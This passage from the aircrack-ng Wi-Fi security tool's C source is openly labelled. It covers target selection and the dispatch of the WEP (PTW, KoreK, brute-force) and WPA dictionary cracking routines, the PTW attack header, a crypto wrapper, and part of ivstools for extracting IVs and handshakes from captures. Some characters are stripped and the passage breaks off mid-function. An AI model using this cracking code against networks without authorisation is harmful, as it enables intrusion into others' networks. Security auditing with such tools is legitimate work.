printf( "EAPOL+" ); switch( ap_cur->crypt ) { case 0: printf( "None (%d.%d.%d.%d)\n", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); break; case 1: printf( "No data - WEP or WPA\n" ); break; case 2: printf( "WEP (%ld IVs)\n", ap_cur->nb_ivs ); break; case 3: printf( "WPA (%d handshake)\n", ap_cur->wpa.state == 7 ); break; default: printf( "Unknown\n" ); break; } i++; ap_cur = ap_cur->next; } printf( "\n" ); if( ap_1st->next != NULL ) { do { printf( "Index number of target network ? " ); fflush( stdout ); ret1 = 0; while(!ret1) ret1 = scanf( "%127s", buf ); if( ( z = atoi( buf ) ) < 1 ) continue; i = 1; ap_cur = ap_1st; while( ap_cur != NULL && i < z ) { i++; ap_cur = ap_cur->next; } } while( z < 0 || ap_cur == NULL ); } else { printf( "Choosing first network as target.\n" ); ap_cur = ap_1st; } printf( "\n" ); memcpy( opt.bssid, ap_cur->bssid, 6 ); opt.bssid_set = 1; /* Disable PTW if dictionary used in WEP */ if (ap_cur->crypt == 2 && opt.dict != NULL) { opt.do_ptw = 0; } } ap_1st = NULL; optind = old; id=0; } nb_eof=0; signal( SIGINT, sighandler ); do { if( strcmp( argv[optind], "-" ) == 0 ) opt.no_stdin = 1; if( pthread_create( &(tid[id]), NULL, (void *) read_thread, (void *) argv[optind] ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } id++; usleep( 131071 ); if(id >= MAX_THREADS) break; } while( ++optind < argc ); nb_pkt=0; /* wait until each thread reaches EOF */ intr_read=0; pthread_mutex_lock( &mx_eof ); if( ! opt.is_quiet ) { printf( "Reading packets, please wait...\r" ); fflush( stdout ); } while( nb_eof < n && ! intr_read ) pthread_cond_wait( &cv_eof, &mx_eof ); pthread_mutex_unlock( &mx_eof ); intr_read=1; // if( ! opt.is_quiet && ! opt.no_stdin ) // printf( "\33[KRead %ld packets.\n\n", nb_pkt ); // #ifndef DO_PGO_DUMP // signal( SIGINT, SIG_DFL ); /* we want sigint to stop and dump pgo data */ // #endif /* mark the targeted access point(s) */ ap_cur = ap_1st; while( ap_cur != NULL ) { if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 || ( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) || ( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) ) ap_cur->target = 1; ap_cur = ap_cur->next; } ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->target ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No matching network found - check your %s.\n", ( opt.essid_set ) ? "essid" : "bssid" ); goto exit_main; } if( ap_cur->crypt < 2 ) { switch( ap_cur->crypt ) { case 0: printf( "Target network doesn't seem encrypted.\n" ); break; default: printf( "Got no data packets from target network!\n" ); break; } goto exit_main; } /* create the cracker<->master communication pipes */ for( i = 0; i < opt.nbcpu; i++ ) { unused = pipe( mc_pipe[i] ); unused = pipe( cm_pipe[i] ); if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute) { unused = pipe(bf_pipe[i]); bf_nkeys[i] = 0; } } __start: /* launch the attack */ nb_tried = 0; nb_kprev = 0; chrono( &t_begin, 1 ); chrono( &t_stats, 1 ); chrono( &t_kprev, 1 ); signal( SIGWINCH, sighandler ); if( opt.amode == 1 ) goto crack_wep; if( opt.amode == 2 ) goto crack_wpa; if( ap_cur->crypt == 2 ) { crack_wep: /* Default key length: 128 bits */ if( opt.keylen == 0 ) opt.keylen = 13; if(j + opt.do_brute > 4) { printf( "Bruteforcing more then 4 bytes will take too long, aborting!" ); goto exit_main; } for( i=0; inb_ivs_vague - (ap_cur->nb_ivs_vague % PTW_TRY_STEP); do { if(ap_cur->nb_ivs_vague >= opt.next_ptw_try) { if(!opt.is_quiet) printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague); ret = crack_wep_ptw(ap_cur); if( opt.oneshot == 1 && ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about 80 000 IVs, sometimes more.\n\n" " * Try to raise the fudge factor (-f).\n"); ret=0; } if(ret) { opt.next_ptw_try += PTW_TRY_STEP; printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try); } } if(ret) usleep(10000); }while(ret != 0); } else if(opt.dict != NULL) { ret = crack_wep_dict(); } else { for( i = 0; i < opt.nbcpu; i++ ) { /* start one thread per cpu */ if (opt.amode<=1 && opt.nbcpu>1 && opt.do_brute && opt.do_mt_brute) { if (pthread_create( &(tid[id]), NULL, (void *) inner_bruteforcer_thread, (void *) (long) i ) != 0) { perror( "pthread_create failed" ); goto exit_main; } id++; } if( pthread_create( &(tid[id]), NULL, (void *) crack_wep_thread, (void *) (long) i ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } id++; } if( ! opt.do_testy ) { do { ret = do_wep_crack1( 0 ); } while( ret == RESTART ); if( ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about one million IVs, sometimes more.\n\n" " * If all votes seem equal, or if there are many negative votes,\n" " then the capture file is corrupted, or the key is not static.\n\n" " * A false positive prevented the key from being found. Try to\n" " disable each korek attack (-k 1 .. 17), raise the fudge factor\n" " (-f)" ); if (opt.do_testy) printf( "and try the experimental bruteforce attacks (-y)." ); printf( "\n" ); } } else { for( i = opt.keylen - 3; i < opt.keylen - 2; i++ ) { do { ret = do_wep_crack2( i ); } while( ret == RESTART ); if( ret == SUCCESS ) break; } if( ret == FAILURE ) { printf( " Attack failed. Possible reasons:\n\n" " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" " can be cracked with about one million IVs, sometimes more.\n\n" " * If all votes seem equal, or if there are many negative votes,\n" " then the capture file is corrupted, or the key is not static.\n\n" " * A false positive prevented the key from being found. Try to\n" " disable each korek attack (-k 1 .. 17), raise the fudge factor\n" " (-f)" ); if (opt.do_testy) printf( "or try the standard attack mode instead (no -y option)." ); printf( "\n" ); } } } } if( ap_cur->crypt == 3 ) { crack_wpa: #ifdef HAVE_SQLITE if (opt.dict == NULL && db == NULL) goto nodict; #else if ( opt.dict == NULL ) goto nodict; #endif ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); goto exit_main; } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); goto exit_main; } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } #ifdef HAVE_SQLITE if (db == NULL) { #endif for( i = 0; i < opt.nbcpu; i++ ) { /* start one thread per cpu */ wpa_data[i].ap = ap_cur; wpa_data[i].thread = i; wpa_data[i].nkeys = 17; wpa_data[i].key_buffer = (char*) malloc(wpa_data[i].nkeys * 128); wpa_data[i].front = 0; wpa_data[i].back = 0; memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key)); pthread_cond_init(&wpa_data[i].cond, NULL); pthread_mutex_init(&wpa_data[i].mutex, NULL); if( pthread_create( &(tid[id]), NULL, (void *) crack_wpa_thread, (void *) &(wpa_data[i]) ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } #ifdef pthread_setaffinity_np // set affinity to one processor cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(i, &cpuset); pthread_setaffinity_np(tid[id], sizeof(cpu_set_t), &cpuset); #endif id++; } ret = do_wpa_crack(); // we feed keys to the cracking threads wpa_wordlists_done = 1; // we tell the threads that they shouldn't expect more words (don't wait for parallel crack) for( i = 0; i < opt.nbcpu; i++ ) // we wait for the cracking threads to end pthread_join(tid[--id], NULL); for( i = 0; i < opt.nbcpu; i++ ) { if (wpa_data[i].key[0] != 0) { ret = SUCCESS; break; } } if (ret==SUCCESS) { if( opt.is_quiet ) { printf( "KEY FOUND! [ %s ]\n", wpa_data[i].key ); return( SUCCESS ); } if( opt.l33t ) printf( "\33[31;1m" ); printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) strlen(wpa_data[i].key) ) / 2, wpa_data[i].key ); if( opt.l33t ) printf( "\33[32;22m" ); return( SUCCESS ); } else { if( opt.is_quiet ) { printf( "Passphrase not in dictionary\n" ); return( FAILURE ); } printf( "\nPassphrase not in dictionary \n" ); printf("\33[5;30H %lld",nb_tried); printf("\33[32;0H\n"); } printf("\n"); #ifdef HAVE_SQLITE } else { if( ! opt.is_quiet && !_speed_test) { if( opt.l33t ) printf( "\33[37;40m" ); printf( "\33[2J" ); if( opt.l33t ) printf( "\33[34;1m" ); printf("\33[2;34H%s",progname); } sql = sqlite3_mprintf(sqlformat,ap_cur->essid); while (1) { rc = sqlite3_exec(db,sql,sql_wpacallback,ap_cur,&zErrMsg); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc]); fflush(stdout); looperc = (looperc+1) % sizeof(looper); sleep(1); } else { if (rc != SQLITE_OK && rc != SQLITE_ABORT ) { fprintf(stderr, "SQL error: %s\n", zErrMsg); sqlite3_free(zErrMsg); } if (waited != 0) printf("\n\n"); break; } } sqlite3_free(sql); } #endif } exit_main: #ifdef HAVE_SQLITE if (db != NULL) { sqlite3_close(db); } #endif #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) _PGOPTI_Prof_Dump(); #endif if( ! opt.is_quiet ) printf( "\n" ); fflush( stdout ); // if( ret == SUCCESS ) kill( 0, SIGQUIT ); // if( ret == FAILURE ) kill( 0, SIGTERM ); clean_exit(ret); _exit( ret ); } aircrack-ng-1.2-beta3/src/aircrack-ptw-lib.h0000644000000000000000000000742712173061713017335 0ustar rootroot/* * Copyright (c) 2007, 2008, 2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_PTW_H_ #define _AIRCRACK_PTW_H_ #include // Number of bytes we use for our table of seen IVs, this is (2^24)/8 #define PTW_IVTABLELEN 2097152 // How many sessions do we use to check if a guessed key is correct // 10 seems to be a reasonable choice // Its now the number of sessions for selecting 10 at a random position #define PTW_CONTROLSESSIONS 10000 // The maximum possible length of the main key, 13 is the maximum for a 104 bit key #define PTW_KEYHSBYTES 29 // How long the IV is, 3 is the default value for WEP #define PTW_IVBYTES 3 // How many bytes of a keystream we collect, 16 are needed for a 104 bit key #define PTW_KSBYTES 32 // The MAGIC VALUE!! #define PTW_n 256 // distinguish klein and ptw #define NO_KLEIN 0x01 #define NO_PTW 0x02 // We use this to keep track of the outputs of A_i typedef struct { // How often the value b appeard as an output of A_i int votes; uint8_t b; } PTW_tableentry; // A recovered session typedef struct { // The IV used in this session uint8_t iv[PTW_IVBYTES]; // The keystream used in this session uint8_t keystream[PTW_KSBYTES]; // Weight for this session int weight; } PTW_session; typedef int (*rc4test_func)(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream); // The state of an attack // You should usually never modify these values manually typedef struct { // How many unique packets or IVs have been collected int packets_collected; // Table to check for duplicate IVs uint8_t seen_iv[PTW_IVTABLELEN]; // How many sessions for checking a guessed key have been collected int sessions_collected; // The actual recovered sessions PTW_session sessions[PTW_CONTROLSESSIONS]; // The table with votes for the keybytesums PTW_tableentry table[PTW_KEYHSBYTES][PTW_n]; // Sessions for the original klein attack PTW_session * allsessions; int allsessions_size; // rc4test function, optimized if available rc4test_func rc4test; } PTW_attackstate; PTW_attackstate * PTW_newattackstate(); void PTW_freeattackstate(PTW_attackstate *); int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *, int *, int); int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int, int *, int [][PTW_n], int attacks); #endif aircrack-ng-1.2-beta3/src/gcrypt-openssl-wrapper.h0000644000000000000000000001311712004011237020627 0ustar rootroot#ifndef _GCRYPT_OPENSSL_WRAPPER_H #define _GCRYPT_OPENSSL_WRAPPER_H /* * * gcrypt-openssl-wrapper.h * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include // RC4_* #define RC4_KEY gcry_cipher_hd_t #define RC4_set_key(h, l, k) do { \ gcry_cipher_open(h, GCRY_CIPHER_ARCFOUR, GCRY_CIPHER_MODE_STREAM, 0); \ gcry_cipher_setkey(*h, k, l); \ } while (0) // we need to release the handle to avoid memory leaks. // And in the actual code there are not repeat calls to RC4() without calling // RC4_set_key() first, so we can encapsulate the call to gcry_cipher_close() inside RC4() // This should be changed if you call RC4() without calling RC4_set_key before #define RC4(h, l, s, d) do { \ gcry_cipher_encrypt(*h, d, l, s, l) ; \ gcry_cipher_close(*h); \ } while(0) // SHA_* (We use the sha1-git implementation because is much faster) #define SHA_CTX blk_SHA_CTX #define SHA1_Init(ctx) blk_SHA1_Init(ctx) #define SHA1_Update(ctx,buffer,len) blk_SHA1_Update(ctx,buffer,len) #define SHA1_Final(digest,ctx) blk_SHA1_Final(digest,ctx) // EVP_* #define EVP_md5() GCRY_MD_MD5 #define EVP_sha1() GCRY_MD_SHA1 // AES_* #define AES_KEY gcry_cipher_hd_t #define AES_encrypt(text, enc_out, ctx) gcry_cipher_encrypt(*ctx, enc_out, 16, text, 16) #define AES_set_encrypt_key(key, len, ctx) do { \ gcry_cipher_open(ctx, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0); \ gcry_cipher_setkey(*ctx, key, len/8); \ } while (0) // HMAC_* #define HMAC_CTX gcry_md_hd_t #define HMAC_CTX_cleanup(ctx) gcry_md_close(*ctx) #define HMAC_CTX_init(ctx) ; // noop #define HMAC_Init_ex(ctx, key, len, md, engine) HMAC_Init(ctx, key, len, md) #define HMAC_Init(ctx, key, len, md) do { \ if ((len==0)||(key==NULL)||(md==0)) { \ gcry_md_reset(*ctx); \ } else { \ gcry_md_open(ctx, md, GCRY_MD_FLAG_HMAC); \ gcry_md_setkey(*ctx, key, len); \ } \ } while (0) #define HMAC_Update(ctx, data, len) gcry_md_write(*ctx, data, len) #define HMAC_Final(ctx, md, len) do { \ memcpy( md, \ gcry_md_read(*ctx, 0), \ gcry_md_get_algo_dlen(gcry_md_get_algo(*ctx)) \ ); \ } while (0) #define HMAC(algo, key, klen, data, dlen, res, rlen) do { \ gcry_md_hd_t mdh; \ gcry_md_open(&mdh, algo, GCRY_MD_FLAG_HMAC); \ gcry_md_setkey(mdh, key, klen); \ gcry_md_write(mdh, data, dlen); \ memcpy(res, gcry_md_read(mdh, algo), \ gcry_md_get_algo_dlen (algo)); \ gcry_md_close(mdh); \ } while (0) // http://tumblr.spantz.org/post/214737529/the-use-of-do-while-0-in-c-macros #endif // _GCRYPT_OPENSSL_WRAPPER_H aircrack-ng-1.2-beta3/src/ivstools.c0000644000000000000000000007156012313366351016060 0ustar rootroot /* * IVS Tools - Convert or merge IVs * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine (pcap2ivs and mergeivs) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "uniqueiv.h" #include "osdep/byteorder.h" #include "common.h" #include "eapol.h" #define FAILURE -1 #define IVS 1 #define WPA 2 #define ESSID 3 /* linked list of detected access points */ struct AP_info { struct AP_info *prev; /* prev. AP in list */ struct AP_info *next; /* next AP in list */ int ssid_length; /* length of ssid */ unsigned char bssid[6]; /* the access point's MAC */ unsigned char essid[256]; /* ascii network identifier */ unsigned char **uiv_root; /* unique iv root structure */ /* if wep-encrypted network */ int wpa_stored; /* wpa stored in ivs file? */ int essid_stored; /* essid stored in ivs file? */ }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ unsigned char stmac[6]; /* the client's MAC address */ struct WPA_hdsk wpa; /* WPA handshake data */ }; /* bunch of global stuff */ struct globals { struct AP_info *ap_1st, *ap_end; struct ST_info *st_1st, *st_end; unsigned char prev_bssid[6]; FILE *f_ivs; /* output ivs file */ } G; static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void usage(int what) { printf("\n %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n usage: ", getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); if (what == 0 || what == 1) printf( "ivstools --convert \n" " Extract ivs from a pcap file\n"); if (what == 0) printf(" "); if (what == 0 || what == 2) printf("ivstools --merge .. \n" " Merge ivs files\n"); } int merge( int argc, char *argv[] ) { int i, n, unused; unsigned long nbw; unsigned char buffer[1024]; FILE *f_in, *f_out; struct ivs2_filehdr fivs2; struct ivs2_pkthdr ivs2; if( argc < 5 ) { usage(2); return( 1 ); } printf( "Creating %s\n", argv[argc - 1] ); if( ( f_out = fopen( argv[argc - 1], "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } nbw = 0; for( i = 2; i < argc - 1; ++i ) { printf( "Opening %s\n", argv[i] ); if( ( f_in = fopen( argv[i], "rb" ) ) == NULL ) { fclose(f_out); perror( "fopen failed" ); return( 1 ); } if( fread( buffer, 1, 4, f_in ) != 4 ) { fclose(f_out); fclose(f_in); perror( "fread file header failed" ); return( 1 ); } if( memcmp( buffer, IVSONLY_MAGIC, 4 ) == 0 ) { fclose(f_out); fclose(f_in); printf( "%s is an old .ivs file\n", argv[i] ); return( 1 ); } if( memcmp( buffer, IVS2_MAGIC, 4 ) != 0 ) { fclose(f_out); fclose(f_in); printf( "%s is not an .%s file\n", argv[i], IVS2_EXTENSION ); return( 1 ); } if( fread( &fivs2, 1, sizeof(struct ivs2_filehdr), f_in ) != (size_t) sizeof(struct ivs2_filehdr) ) { fclose(f_out); fclose(f_in); perror( "fread file header failed" ); return( 1 ); } if( fivs2.version > IVS2_VERSION ) { fclose(f_out); fclose(f_in); printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); return( 1 ); } if( i == 2 ) { unused = fwrite( buffer, 1, 4, f_out ); unused = fwrite( &ivs2, 1, sizeof(struct ivs2_filehdr), f_out ); } while( ( n = fread( buffer, 1, 1024, f_in ) ) > 0 ) { nbw += n; unused = fwrite( buffer, 1, n, f_out ); printf( "%ld bytes written\r", nbw ); } fclose( f_in ); printf( "\n" ); } fclose( f_out ); return( 0 ); } int dump_add_packet( unsigned char *h80211, uint caplen) { int i, n, seq, dlen, clen; uint z; struct ivs2_pkthdr ivs2; unsigned char *p; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char clear[2048]; int weight[16]; int num_xor, o; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) return FAILURE; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) return FAILURE; /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); break; } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return FAILURE; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->prev = ap_prv; ap_cur->uiv_root = uniqueiv_init(); G.ap_end = ap_cur; ap_cur->ssid_length = 0; ap_cur->wpa_stored = 0; ap_cur->essid_stored = 0; } /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( h80211[4] != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return FAILURE; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); st_cur->prev = st_prv; G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; return ESSID; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; return ESSID; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 26 > caplen ) return FAILURE; if( z + 10 > caplen ) return FAILURE; //check if WEP bit set and extended iv if( (h80211[1] & 0x40) != 0 && (h80211[z+3] & 0x20) == 0 ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; dlen = caplen -24 -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; obssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } 